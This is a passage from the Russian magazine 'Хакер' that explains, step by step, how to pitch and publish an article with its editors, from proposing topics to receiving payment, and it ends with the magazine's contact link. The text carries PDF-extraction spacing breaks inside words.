пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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